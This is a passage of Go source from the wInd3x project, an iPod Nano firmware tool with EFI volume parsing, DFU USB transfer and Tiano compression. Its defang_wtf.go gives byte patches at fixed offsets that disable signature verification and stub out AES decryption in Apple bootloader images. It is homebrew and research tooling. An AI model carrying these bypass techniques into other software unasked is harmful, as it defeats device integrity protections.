performed is defined by the VolumeVisitor given. func VisitVolume(v *efi.Volume, vi VolumeVisitor) error { for _, file := range v.Files { if err := vi.VisitFile(file); err != nil { return err } for _, section := range file.Sections { if err := visitSection(section, vi); err != nil { return err } } } return vi.Done() } func visitSection(s efi.Section, vi VolumeVisitor) error { if err := vi.VisitSection(s); err != nil { return err } for _, sub := range s.Sub() { if f := sub.File; f != nil { if err := vi.VisitFile(f); err != nil { return err } } if s := sub.Section; s != nil { if err := visitSection(s, vi); err != nil { return err } } } return nil } // VolumeVisitor is a visitor which can modify an EFI firmware volume. Its // methods will be called by VisitVolume as it recursively traverses files and // sections contained in files. type VolumeVisitor interface { // VisitFile will be called when the traversal encounters a file. VisitFile(file *efi.FirmwareFile) error // VisitSection will be called when the traversal encounters a section // withing a file. VisitSection(section efi.Section) error // Done will be called when the traversal is done with all files/sections. Done() error } // MultipleVisitors implements VolumeVisitor by calling subordinate // VolumeVisitors in parallel, allowing multiple files within a single firmware // volume to be patched. type MultipleVisitors []VolumeVisitor func (m MultipleVisitors) VisitFile(file *efi.FirmwareFile) error { for _, vi := range m { if err := vi.VisitFile(file); err != nil { return err } } return nil } func (m MultipleVisitors) VisitSection(section efi.Section) error { for _, vi := range m { if err := vi.VisitSection(section); err != nil { return err } } return nil } func (m MultipleVisitors) Done() error { for _, vi := range m { if err := vi.Done(); err != nil { return err } } return nil } // VisitPE32InFile is a VolumeVisitor which applies a Patch on a single PE32 // section within a file. The section doesn't have to be top-level. type VisitPE32InFile struct { // FileGUID is the file on whose PE32 section Patch will be applied. FileGUID efi.GUID Patch Patch inFile bool applied bool } func (v *VisitPE32InFile) VisitFile(file *efi.FirmwareFile) error { v.inFile = file.GUID.String() == v.FileGUID.String() return nil } func (v *VisitPE32InFile) VisitSection(section efi.Section) error { if !v.inFile { return nil } if section.Header().Type == efi.SectionTypePE32 { if v.applied { return fmt.Errorf("more than one PE32 section found") } out, err := v.Patch.Apply(section.Raw()) if err != nil { return fmt.Errorf("patching failed: %w", err) } section.SetRaw(out) v.applied = true } return nil } func (v *VisitPE32InFile) Done() error { if !v.applied { return fmt.Errorf("guid %s not found", v.FileGUID.String()) } return nil } // Patch defined an operation performed on some binary blob. type Patch interface { Apply(in []byte) (out []byte, err error) } // Patches implements Patch by calling a series of Patches in sequnce. This // allows applying multiple Patches to a single section. type Patches []Patch func (p Patches) Apply(in []byte) ([]byte, error) { cur := in for i, s := range p { next, err := s.Apply(cur) if err != nil { return nil, fmt.Errorf("patch %d: %w", i, err) } cur = next } return cur, nil } // ReplaceAt replaces all occurences of a given pattern with another sequence. // The sequences must be equal length. type ReplaceExact struct { From []byte To []byte } func (p ReplaceExact) Apply(in []byte) ([]byte, error) { if len(p.From) != len(p.To) { return nil, fmt.Errorf("from/to is different length") } if bytes.Equal(p.From, p.To) { return nil, fmt.Errorf("pattern is a no-op") } out := bytes.ReplaceAll(in, p.From, p.To) if bytes.Equal(in, out) { return nil, fmt.Errorf("pattern not found") } return out, nil } // PatchAt writes a sequence of bytes at a given offset. type PatchAt struct { Address int To []byte } func (p PatchAt) Apply(in []byte) ([]byte, error) { if len(in) < p.Address+len(p.To) { return nil, fmt.Errorf("input too small") } data := in[:p.Address] data = append(data, p.To...) data = append(data, in[p.Address+len(p.To):]...) return data, nil } ================================================ FILE: pkg/cfw/defang_wtf.go ================================================ package cfw import ( "bytes" "fmt" "log/slog" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/efi" "github.com/freemyipod/wInd3x/pkg/image" ) // defanger takes a decrypted WTF and returns it with security checks disabled. type Defanger func(decrypted []byte) ([]byte, error) var WTFDefangers = map[devices.Kind]Defanger{ devices.Nano3: defangRaw(map[int][]byte{ // replace bytes at addresses in the WTF binary: 0x1990: []byte{0x00, 0x70, 0xA0, 0xE3, 0x22, 0x00, 0x00, 0xEA}, // skip signature check 0x770C: []byte("D\x00e\x00f\x00a\x00n\x00g\x00e\x00d\x00 \x00W\x00T\x00F\x00!\x00"), // change USB product string to show it's defanged }), devices.Nano5: defangEFI(MultipleVisitors([]VolumeVisitor{ // Change USB vendor string in RestoreDFU.efi. &VisitPE32InFile{ FileGUID: efi.MustParseGUID("a0517d80-37fa-4d06-bd0e-941d5698846a"), Patch: Patches([]Patch{ ReplaceExact{From: []byte("Apple Inc."), To: []byte("freemyipod")}, }), }, // Disable signature checking in ROMBootValidator.efi. &VisitPE32InFile{ FileGUID: efi.MustParseGUID("1ba058e3-2063-4919-8002-6d2e0c947e60"), Patch: Patches([]Patch{ // CheckHeaderSignatureImpl -> return 0 PatchAt{ Address: 0x15b8, To: []byte{ 0x00, 0x20, 0x70, 0x47, }, }, // CheckDataSignature -> return 1 PatchAt{ Address: 0x0b4c, To: []byte{ 0x01, 0x20, 0x70, 0x47, }, }, }), }, })), devices.Nano7: defangEFI(MultipleVisitors([]VolumeVisitor{ // Change USB vendor string in ARM/AppleMobilePkg/Dfu/Dfu/DEBUG/Dfu.dll. &VisitPE32InFile{ FileGUID: efi.MustParseGUID("936ffb79-62f6-4fc0-aff0-3e2a1c56f1a7"), Patch: Patches([]Patch{ ReplaceExact{From: []byte("Apple Inc."), To: []byte("freemyipod")}, }), }, // Disable signature checking in ARM/SamsungPkg/Chipset/S5L8720/ROMBootValidator/ROMBootValidator/DEBUG/ROMBootValidator.dll &VisitPE32InFile{ FileGUID: efi.MustParseGUID("1ba058e3-2063-4919-8002-6d2e0c947e60"), Patch: Patches([]Patch{ // CheckHeaderSignatureImpl -> return 0 PatchAt{ Address: 0x19a4, To: []byte{ 0x00, 0x20, // mov r0, #0 0x70, 0x47, // bx lr }, }, // CheckDataSignature -> return 1 PatchAt{ Address: 0x0d78, To: []byte{ 0x01, 0x20, // mov r0, #1 0x70, 0x47, // bx lr }, }, // Call AES for both type 4 and type 3 (we generate type 4, // while usually AES images are type 3, we turn AES decryption // into a no-op in Aes.dll below). PatchAt{ Address: 0x176e, To: []byte{ 0x04, 0x28, // cmp r0, #4 }, }, }), }, // Replace AES decryption with no-op memcpy &VisitPE32InFile{ FileGUID: efi.MustParseGUID("c0287dba-8a73-4ff1-98f1-455b97d4d480"), Patch: Patches([]Patch{ // AESProtocol::Decrypt -> memcpy PatchAt{ Address: 0x488, To: []byte{ // _loop: 0x08, 0x68, // ldr r0, [r1] 0x04, 0x31, // add r1, r1, #4 0x10, 0x60, // str r0, [r2] 0x04, 0x32, // add r2, r2, #4 0x04, 0x3b, // sub r3, r3, #4 0x03, 0xb1, // cbz r3, _done 0xf8, 0xe7, // b _loop // _done: 0x70, 0x47, // bx lr }, }, }), }, })), } func defangEFI(visitor VolumeVisitor) Defanger { return func(decrypted []byte) ([]byte, error) { img, err := image.Read(bytes.NewReader(decrypted)) if err != nil { return nil, err } defanged, err := applyPatches(img, visitor) if err != nil { return nil, fmt.Errorf("failed to apply patches: %w", err) } return defanged, nil } } func applyPatches(img *image.IMG1, patches VolumeVisitor) ([]byte, error) { offs := 0x100 switch img.DeviceKind { case devices.Nano7, devices.Nano7Late: offs = 0 } nr := efi.NewNestedReader(img.Body[offs:]) fv, err := efi.ReadVolume(nr) if err != nil { return nil, fmt.Errorf("failed to read firmware volume: %w", err) } origSize, err := SecoreOffset(fv) if err != nil { return nil, fmt.Errorf("failed to calculate original secore offset: %w", err) } slog.Info("Initial pre-padding", "size", origSize) slog.Info("Applying patches...") if err := VisitVolume(fv, patches); err != nil { return nil, fmt.Errorf("failed to apply patches: %w", err) } slog.Info("Fixing up padding...") if err := SecoreFixup(origSize, fv); err != nil { return nil, fmt.Errorf("failed to fix up size: %w", err) } slog.Info("Done.") fvb, err := fv.Serialize() if err != nil { return nil, fmt.Errorf("failed to rebuild firmware: %w", err) } fvb = append(img.Body[:offs], fvb...) imb, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, fvb) if err != nil { return nil, fmt.Errorf("failed to build new image1: %w", err) } return imb, nil } func defangRaw(patches map[int][]byte) Defanger { return func(decrypted []byte) ([]byte, error) { img, err := image.Read(bytes.NewReader(decrypted)) if err != nil { return nil, fmt.Errorf("failed to read image: %w", err) } for offset, patch := range patches { if len(img.Body) < offset+len(patch) { return nil, fmt.Errorf("patch at offset %x is too large", offset) } copy(img.Body[offset:], patch) } defanged, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, img.Body) if err != nil { return nil, fmt.Errorf("failed to build new image1: %w", err) } return defanged, nil } } ================================================ FILE: pkg/cfw/fixup.go ================================================ package cfw import ( "fmt" "log/slog" "github.com/freemyipod/wInd3x/pkg/efi" ) // secoreOffset returns the offset of the security core TE within the firmware // volume. The security core is located in the last file in the firmware, and // must not be moved around when the firmware is rebuilt. func SecoreOffset(fv *efi.Volume) (int, error) { if len(fv.Files) < 3 { return 0, fmt.Errorf("firmwware volume must have at least two files") } if fv.Files[0].FileType == efi.FileTypeSecurityCore { // On N7G, the first file is the security core, and we just need to make // sure it stays as the first file. return fv.Files[0].ReadOffset, nil } ipadding := len(fv.Files) - 2 ite := len(fv.Files) - 1 if fv.Files[ipadding].FileType != efi.FileTypePadding { return 0, fmt.Errorf("second to last file must be padding") } if fv.Files[ite].FileType != efi.FileTypeSecurityCore { return 0, fmt.Errorf("last file must be security core") } return fv.Files[ite].ReadOffset, nil } // secoreFixup attempts to mangle the given firmware volume to place the // security core at origPos. This is currently done by modifying the padding // file, which is the second-to-last file within the firmware volume. func SecoreFixup(origPos int, fv *efi.Volume) error { // Serialize and deserialize to get updated ReadOffsets and thus correct // SecoreOffset. data, err := fv.Serialize() if err != nil { return fmt.Errorf("when roundtrip-serializing: %w", err) } fv2, err := efi.ReadVolume(efi.NewNestedReader(data)) if err != nil { return fmt.Errorf("when roundtrip-deserializing: %w", err) } startPos, err := SecoreOffset(fv2) if err != nil { return err } needed := origPos - startPos slog.Info("Pre-padding after patches", "startPos", startPos, "needed", needed) if needed == 0 { return nil } ipadding := len(fv.Files) - 2 padding := fv.Files[ipadding] psize := int(padding.Size.Uint32() - 0x18) if needed < 0 { reduce := -needed if psize < reduce { return fmt.Errorf("Padding too small: need %d, got %d", reduce, psize) } psize -= reduce } else { psize += needed } padding.Size = efi.ToUint24(uint32(psize) + 0x18) // One more roundtrip to check. This code isn't great. data, err = fv.Serialize() if err != nil { return fmt.Errorf("when check-serializing: %w", err) } fv3, err := efi.ReadVolume(efi.NewNestedReader(data)) if err != nil { return fmt.Errorf("when check-deserializing: %w", err) } endPos, err := SecoreOffset(fv3) if err != nil { return err } if endPos != origPos { return fmt.Errorf("Failed to adjust padding (%d -> %d)", origPos, endPos) } return nil } ================================================ FILE: pkg/devices/devices.go ================================================ package devices type Kind string const ( Nano3 Kind = "n3g" Nano4 Kind = "n4g" Nano5 Kind = "n5g" Nano6 Kind = "n6g" Nano7 Kind = "n7g" Nano7Late Kind = "n7g-late" ) type InterfaceKind string const ( DFU InterfaceKind = "dfu" WTF InterfaceKind = "wtf" Disk InterfaceKind = "diskmode" ) type DFUProtoVersion int const ( // DFUProtoVersion1 is implemented by Nano3G. DFUProtoVersion1 DFUProtoVersion = 1 // DFUProtoVersion2 is implemented by Nano4G+. DFUProtoVersion2 DFUProtoVersion = 2 ) func (k Kind) String() string { switch k { case Nano3: return "Nano 3G" case Nano4: return "Nano 4G" case Nano5: return "Nano 5G" case Nano6: return "Nano 6G" case Nano7: return "Nano 7G" case Nano7Late: return "Nano 7G (Mid-2015)" } return "UNKNOWN" } func (k Kind) SoCCode() string { switch k { case Nano3: return "8702" case Nano4: return "8720" case Nano5: return "8730" case Nano6: return "8723" case Nano7, Nano7Late: return "8740" } return "INVL" } func (k Kind) DFUVersion() DFUProtoVersion { switch k { case Nano3: return DFUProtoVersion1 default: return DFUProtoVersion2 } } func (k Kind) Description() Description { for _, d := range Descriptions { if d.Kind == k { return d } } panic("unreachable") } type Description struct { VID int16 PIDs map[InterfaceKind]int16 UpdaterFamilyID int Kind Kind } var Descriptions = []Description{ { VID: 0x05ac, PIDs: map[InterfaceKind]int16{ DFU: 0x1223, WTF: 0x1242, Disk: 0x1262, }, UpdaterFamilyID: 26, Kind: Nano3, }, { VID: 0x05ac, PIDs: map[InterfaceKind]int16{ DFU: 0x1225, WTF: 0x1243, Disk: 0x1263, }, UpdaterFamilyID: 31, Kind: Nano4, }, { VID: 0x05ac, PIDs: map[InterfaceKind]int16{ DFU: 0x1231, WTF: 0x1246, Disk: 0x1265, }, UpdaterFamilyID: 34, Kind: Nano5, }, { VID: 0x05ac, PIDs: map[InterfaceKind]int16{ DFU: 0x1232, WTF: 0x1248, Disk: 0x1266, }, UpdaterFamilyID: 36, Kind: Nano6, }, { VID: 0x05ac, PIDs: map[InterfaceKind]int16{ DFU: 0x1234, WTF: 0x1249, Disk: 0x1267, }, UpdaterFamilyID: 37, Kind: Nano7, }, { VID: 0x05ac, PIDs: map[InterfaceKind]int16{ WTF: 0x124a, }, UpdaterFamilyID: 37, Kind: Nano7Late, }, } ================================================ FILE: pkg/devices/usb.go ================================================ package devices import ( "errors" "time" ) // Usb describes a common API to access an iPod (in any state - DFU, WTF, // RetailOS, ...) over USB. type Usb interface { // UseDefaultInterface requests the underlying provider to grant access to // control transfers to the default interface. This is most of our // interactions with the iPod. UseDefaultInterface() error // UseDiskInterface requests the underlying provider to grant access to the // USB Mass Storage API endpoints, taking them over from the default OS // driver. UseDiskInterface() (UsbMsEndpoints, error) // Control sends a control request to the device. Control(rType, request uint8, val, idx uint16, data []byte) (int, error) SetControlTimeout(time.Duration) error GetStringDescriptor(descIndex int) (string, error) // Close disposes of this device. No other functions may be called on the // interface afterwards. Close() error } type UsbMsInEndpoint interface { Read(buf []byte) (int, error) } type UsbMsOutEndpoint interface { Write(buf []byte) (int, error) } type UsbMsEndpoints struct { In UsbMsInEndpoint Out UsbMsOutEndpoint } var UsbTimeoutError = errors.New("USB timeout error") ================================================ FILE: pkg/dfu/dfu.go ================================================ package dfu import ( "bytes" "encoding/binary" "fmt" "hash/crc32" "io" "log/slog" "time" "github.com/freemyipod/wInd3x/pkg/devices" ) type Request uint8 const ( RequestDetach Request = 0 RequestDnload Request = 1 RequestUpload Request = 2 RequestGetStatus Request = 3 RequestClrStatus Request = 4 RequestGetState Request = 5 RequestAbort Request = 6 ) type Err uint8 const ( ErrOk Err = 0x00 ErrTarget Err = 0x01 ErrFile Err = 0x02 ErrWrite Err = 0x03 ErrErase Err = 0x04 ErrCheckErased Err = 0x05 ErrProg Err = 0x06 ErrVerify Err = 0x07 ErrAddress Err = 0x08 ErrNotDone Err = 0x09 ErrFirmware Err = 0x0a ErrVendor Err = 0x0b ErrUsbr Err = 0x0c ErrPor Err = 0x0d ErrUnknown Err = 0x0e ErrStalledPkt Err = 0x0f ) type State uint8 const ( StateAppIdle State = 0 StateAppDetach State = 1 StateIdle State = 2 StateDnloadSync State = 3 StateDnBusy State = 4 StateDnloadIdle State = 5 StateManifestSync State = 6 StateManifest State = 7 StateManifestWaitReset State = 8 StateUploadIdle State = 9 StateError State = 10 ) func (d State) String() string { switch d { case StateAppIdle: return "appIDLE" case StateAppDetach: return "appDETACH" case StateIdle: return "dfuIDLE" case StateDnBusy: return "dfuDNBUSY" case StateDnloadIdle: return "dfuDNLOAD-IDLE" case StateManifestSync: return "dfuMANIFEST-SYNC" case StateManifest: return "dfuMANIFEST" case StateManifestWaitReset: return "dfuMANIFEST-WAIT-RESET" case StateUploadIdle: return "dfuUPLOAD-IDLE" case StateError: return "dfuERROR" } return "UNKNOWN" } func GetState(usb devices.Usb) (State, error) { buf := make([]byte, 1) res, err := usb.Control(0xa1, uint8(RequestGetState), 0, 0, buf) if err != nil { return StateError, fmt.Errorf("control: %w", err) } if res != 1 { return StateError, fmt.Errorf("state returned %d bytes", res) } return State(uint8(buf[0])), nil } type Status struct { Err Err State State Timeout time.Duration } func GetStatus(usb devices.Usb) (*Status, error) { buf := make([]byte, 6) res, err := usb.Control(0xa1, uint8(RequestGetStatus), 0, 0, buf) if err != nil { return nil, fmt.Errorf("control: %w", err) } if res != 6 { return nil, fmt.Errorf("status returned %d bytes", res) } timeoutMsec := (uint32(buf[3]) << 16) | (uint32(buf[2]) << 8) | uint32(buf[1]) return &Status{ Err: Err(uint8(buf[0])), State: State(uint8(buf[4])), Timeout: time.Duration(timeoutMsec) * time.Millisecond, }, nil } func ClearStatus(usb devices.Usb) error { _, err := usb.Control(0x21, uint8(RequestClrStatus), 0, 0, nil) if err != nil { return fmt.Errorf("control: %w", err) } return nil } func ReceiveChunk(usb devices.Usb, l int, blockno uint16) ([]byte, error) { buf := make([]byte, l) _, err := usb.Control(0xa1, uint8(RequestUpload), blockno, 0, buf) if err != nil { return nil, fmt.Errorf("control: %w", err) } return buf, nil } func SendChunk(usb devices.Usb, c []byte, blockno uint16) error { _, err := usb.Control(0x21, uint8(RequestDnload), blockno, 0, c) if err != nil { return fmt.Errorf("control: %w", err) } return nil } type SendOption struct { Progress func(float32) } func SendImage(usb devices.Usb, i []byte, version devices.DFUProtoVersion, opts ...SendOption) error { var progress func(float32) for _, opt := range opts { if opt.Progress != nil { progress = opt.Progress } } if err := Clean(usb); err != nil { return fmt.Errorf("clean: %w", err) } if version == devices.DFUProtoVersion1 { crc := bytes.NewBuffer(nil) binary.Write(crc, binary.LittleEndian, crc32.ChecksumIEEE(i)) for _, b := range crc.Bytes() { i = append(i, b^0xff) } } clen := 0x400 buf := bytes.NewBuffer(i) blockno := uint16(0) done := 0 for { chunk := make([]byte, clen) n, err := buf.Read(chunk) if err != nil { if err == io.EOF { break } return fmt.Errorf("read failed: %w", err) } done += n if err := SendChunk(usb, chunk[:n], blockno); err != nil { return fmt.Errorf("chunk %d failed: %w", blockno, err) } if progress != nil { progress(float32(done) / float32(len(i))) } status, err := GetStatus(usb) if err != nil { return fmt.Errorf("chunk %d status failed: %w", blockno, err) } if want, got := ErrOk, status.Err; want != got { return fmt.Errorf("chunk %d status expected %d, got %d", blockno, want, got) } for (status.State != StateDnloadIdle){ time.Sleep(status.Timeout) status, err = GetStatus(usb) if err != nil { return fmt.Errorf("chunk %d status failed: %w", blockno, err) } if want, got := ErrOk, status.Err; want != got { return fmt.Errorf("chunk %d status expected %d, got %d", blockno, want, got) } } blockno += 1 } // Send zero-length download, completing image. if err := SendChunk(usb, nil, blockno); err != nil { return fmt.Errorf("zero length send failed: %w", err) } for i := 0; i < 100; i++ { // Send status request, causing manifest. st, err := GetStatus(usb) if err != nil { return fmt.Errorf("status failed: %w", err) } if st.State == StateIdle { return fmt.Errorf("unexpected idle, err: %d", st.Err) } if st.State == StateDnBusy { continue } if st.State == StateManifest { slog.Info("Got dfuMANIFEST, image uploaded.") return nil } } return fmt.Errorf("did not reach manifest") } func Clean(usb devices.Usb) error { if err := ClearStatus(usb); err != nil { return fmt.Errorf("ClrStatus: %w", err) } state, err := GetState(usb) if err != nil { return fmt.Errorf("GetState: %w", err) } if state != StateIdle { return fmt.Errorf("unexpected DFU state %s", state) } return nil } ================================================ FILE: pkg/efi/compression/COPYING.edk2.txt ================================================ Copyright (c) 2004 - 2018, Intel Corporation. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Subject to the terms and conditions of this license, each copyright holder and contributor hereby grants to those receiving rights under this license a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except for failure to satisfy the conditions of this license) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer this software, where such license applies only to those patent claims, already acquired or hereafter acquired, licensable by such copyright holder or contributor that are necessarily infringed by: (a) their Contribution(s) (the licensed copyrights of copyright holders and non-copyrightable additions of contributors, in source or binary form) alone; or (b) combination of their Contribution(s) with the work of authorship to which such Contribution(s) was added by such copyright holder or contributor, if, at the time the Contribution is added, such addition causes such combination to be necessarily infringed. The patent license shall not apply to any other combinations which include the Contribution. Except as expressly stated above, no rights or licenses from any copyright holder or contributor is granted under this license, whether expressly, by implication, estoppel or otherwise. DISCLAIMER THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: pkg/efi/compression/build.sh ================================================ #! /usr/bin/env nix-shell #! nix-shell -i bash -p emscripten set -e -x -o pipefail # Rebuild edk2.wasm from EDK2 sources. It contains TianoCompress/Decompress # functions which are then made available to the Go runtime using wazero. [ -d edk2 ] || exit 1 # Work around Nix badness. # See: https://github.com/NixOS/nixpkgs/issues/139943 emscriptenpath="$(dirname $(dirname $(which emcc)))" if [ ! -d ~/.emscripten_cache ]; then cp -rv "$emscriptenpath/share/emscripten/cache" ~/.emscripten_cache chmod u+rwX -R ~/.emscripten_cache fi export EM_CACHE=~/.emscripten_cache emcc \ edk2/BaseTools/Source/C/Common/TianoCompress.c \ edk2/BaseTools/Source/C/Common/Decompress.c \ -I edk2/BaseTools/Source/C/Include/ \ -I edk2/BaseTools/Source/C/Include/X64/ \ -s EXPORTED_FUNCTIONS=_TianoDecompress,_TianoCompress,_malloc,_free \ -s ALLOW_MEMORY_GROWTH \ --no-entry \ -O3 \ -o edk2.wasm ================================================ FILE: pkg/efi/compression/compression.go ================================================ package compression type TianoCompression interface { // Decompress using Tiano compression algorithm from EDK2. Decompress(in []byte) ([]byte, error) // Compress using Tiano compression algorithm from EDK2. Compress(in []byte) ([]byte, error) } ================================================ FILE: pkg/efi/compression/compression_runtime.go ================================================ //go:build wasm package compression type RuntimeDispatched struct { DecompressFn func(in []byte) ([]byte, error) CompressFn func(in []byte) ([]byte, error) } func (r *RuntimeDispatched) Decompress(in []byte) ([]byte, error) { return r.DecompressFn(in) } func (r *RuntimeDispatched) Compress(in []byte) ([]byte, error) { return r.CompressFn(in) } var Compression = &RuntimeDispatched{} ================================================ FILE: pkg/efi/compression/compression_test.go ================================================ package compression import ( "bytes" "testing" ) func TestLoopback(t *testing.T) { input := []byte("According to all known laws of aviation, there is no way an EFI implementation should be able to fly. It's wings are too small to get its fat little body off the ground. The implementation, of course, flies anyway, because computers don't care what humans think is impossible.") compressed, err := Compression.Compress(input) if err != nil { t.Fatalf("Compress() failed: %v", err) } uncompressed, err := Compression.Decompress(compressed) if err != nil { t.Fatalf("Decompress() failed: %v", err) } if !bytes.Equal(input, uncompressed) { t.Fatalf("did not decompress to same data: %q", string(uncompressed)) } } ================================================ FILE: pkg/efi/compression/compression_wazero.go ================================================ //go:build !wasm // package compression implements EFI compression/decompression routines by // calling out into edk2 Tiano{Dec,C}ompres functions compiled into // WebAssembly. // // We don't use cgo or c2go because I don't trust that code. // // See build.sh on how to regenerate edk2.wasm. package compression import ( "bytes" "context" _ "embed" "encoding/binary" "errors" "fmt" "os" "sync" "github.com/tetratelabs/wazero" "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/imports/emscripten" "github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1" ) var ( // mu guards the entirety of the compression/decompression library behind a // singleton mutex. That's because the Intel compression/decompression code // is very, very, extremely non memory safe. mu sync.Mutex //go:embed edk2.wasm wasm []byte ) // edk2 is the WebAssembly module and loaded functions from edk2.wasm. type edk2 struct { module api.Module mallocF api.Function freeF api.Function compressF api.Function decompressF api.Function } func (e *edk2) malloc(ctx context.Context, size int) uint32 { results, err := e.mallocF.Call(ctx, uint64(size)) if err != nil { panic(fmt.Sprintf("wasm malloc() failed: %v", err)) } return uint32(results[0]) } func (e *edk2) free(ctx context.Context, ptr uint32) { e.freeF.Call(ctx, uint64(ptr)) } func (e *edk2) write(ctx context.Context, ptr uint32, data []byte) { if !e.module.Memory().Write(ctx, ptr, data) { panic("memory write failed") } } func (e *edk2) writeu32(ctx context.Context, ptr, data uint32) { buf := bytes.NewBuffer(nil) if err := binary.Write(buf, binary.LittleEndian, data); err != nil { panic("err") } e.write(ctx, ptr, buf.Bytes()) } func (e *edk2) read(ctx context.Context, ptr uint32, size int) []byte { res, ok := e.module.Memory().Read(ctx, ptr, uint32(size)) if !ok { panic("memory read failed") } res2 := make([]byte, len(res)) copy(res2, res) return res2 } func (e *edk2) readu32(ctx context.Context, ptr uint32) uint32 { data := e.read(ctx, ptr, 4) var res uint32 if err := binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &res); err != nil { panic(err) } return res } var ( edk *edk2 ) func edk2Error(code int32) error { switch code { case 0: return nil case 2: return errors.New("invalid parameter") case 5: return errors.New("buffer too small") case 9: return errors.New("out of resources") default: return fmt.Errorf("unknown (%d)", code) } } func getedk2() *edk2 { // Already guarded by 'mu'. if edk != nil { return edk } ctx := context.Background() r := wazero.NewRuntime(ctx) if _, err := wasi_snapshot_preview1.Instantiate(ctx, r); err != nil { panic(err) } if _, err := emscripten.Instantiate(ctx, r); err != nil { panic(err) } config := wazero.NewModuleConfig().WithStdout(os.Stdout).WithStderr(os.Stderr) code, err := r.CompileModule(ctx, wasm, wazero.NewCompileConfig()) if err != nil { panic(err) } mod, err := r.InstantiateModule(ctx, code, config) if err != nil { panic(err) } e := &edk2{ module: mod, mallocF: mod.ExportedFunction("malloc"), freeF: mod.ExportedFunction("free"), compressF: mod.ExportedFunction("TianoCompress"), decompressF: mod.ExportedFunction("TianoDecompress"), } edk = e return e } type wazeroCompression struct{} // Decompress using Tiano compression algorithm from EDK2. func (w *wazeroCompression) Decompress(in []byte) ([]byte, error) { mu.Lock() defer mu.Unlock() var dstSize uint32 if err := binary.Read(bytes.NewBuffer(in[4:8]), binary.LittleEndian, &dstSize); err != nil { return nil, err } ctx, ctxC := context.WithCancel(context.Background()) defer ctxC() e := getedk2() // Prepare `in` in wasm. inPtr := e.malloc(ctx, len(in)) defer e.free(ctx, inPtr) e.write(ctx, inPtr, in) // Prepare `out` in wasm. outPtr := e.malloc(ctx, int(dstSize)) defer e.free(ctx, outPtr) // Prepare `scratch` in wasm. scratchPtr := e.malloc(ctx, 13393) defer e.free(ctx, outPtr) results, err := e.decompressF.Call(ctx, uint64(inPtr), uint64(len(in)), uint64(outPtr), uint64(dstSize), uint64(scratchPtr), 13393) if err != nil { return nil, fmt.Errorf("wasm TianoDecompress() failed: %w", err) } res := int32(results[0]) if res != 0 { return nil, edk2Error(res) } data := e.read(ctx, outPtr, int(dstSize)) return data, nil } // Compress using Tiano compression algorithm from EDK2. func (w *wazeroCompression) Compress(in []byte) ([]byte, error) { if len(in) == 0 { return nil, fmt.Errorf("canot compress empty file") } mu.Lock() defer mu.Unlock() ctx, ctxC := context.WithCancel(context.Background()) defer ctxC() e := getedk2() // Prepare `in` in wasm. inPtr := e.malloc(ctx, len(in)) defer e.free(ctx, inPtr) e.write(ctx, inPtr, in) // Prepare `out` in wasm. outPtr := e.malloc(ctx, len(in)) defer e.free(ctx, outPtr) // Prepare `outSize` in wasm. outSizePtr := e.malloc(ctx, 4) defer e.free(ctx, outSizePtr) e.writeu32(ctx, outSizePtr, uint32(len(in))) results, err := e.compressF.Call(ctx, uint64(inPtr), uint64(len(in)), uint64(outPtr), uint64(outSizePtr)) if err != nil { return nil, fmt.Errorf("wasm TianoCompress() failed: %w", err) } res := int32(results[0]) if res != 0 { return nil, edk2Error(res) } outSizeU32 := e.readu32(ctx, outSizePtr) return e.read(ctx, outPtr, int(outSizeU32)), nil } var Compression TianoCompression = &wazeroCompression{} ================================================ FILE: pkg/efi/efi.go ================================================ // package efi implements support for parsing and reassembling EFI Firmware // Volumes, as used in some Apple device firmware components. // // This library is similar in functionality and scope to UEFITool or // uefi-firmware-parser. However, some differences remain: // 1. This implements the small subset of EFI FV as used by Apple devices, and // is only tested against them. This is in contrast to UEFITool and // uefi-firmware-parser which attempt to parse all possible images out // there. // 2. This implementation is in pure Go, with Tiano compression routines // implemented via WebAssembly (emscripten-compiled C from EDK2). This is in // contrast to uefi-firmware-parser and UEFITool which link against a binary // build of the functionality from EDK2. // 3. This implementation focuses on bit-perfect reconstruction of images. A // back-to-back Read-to-Serialize of any image should result in exactly the // same data outputted. // package efi import ( "bytes" "encoding/binary" "encoding/hex" "fmt" "io" "strings" ) // GUID type compatible with EFI. type GUID [16]byte func (g GUID) String() string { a := []byte{g[3], g[2], g[1], g[0]} b := []byte{g[5], g[4]} c := []byte{g[7], g[6]} d := []byte{g[8], g[9]} e := []byte{g[10], g[11], g[12], g[13], g[14], g[15]} return fmt.Sprintf("%s-%s-%s-%s-%s", hex.EncodeToString(a), hex.EncodeToString(b), hex.EncodeToString(c), hex.EncodeToString(d), hex.EncodeToString(e)) } func MustParseGUID(s string) GUID { if len(s) != 36 { panic("wrong guid length") } parts := strings.Split(s, "-") if len(parts) != 5 { panic("invalid format") } lengths := []int{8, 4, 4, 4, 12} vs := make([][]byte, 5) for i, l := range lengths { if len(parts[i]) 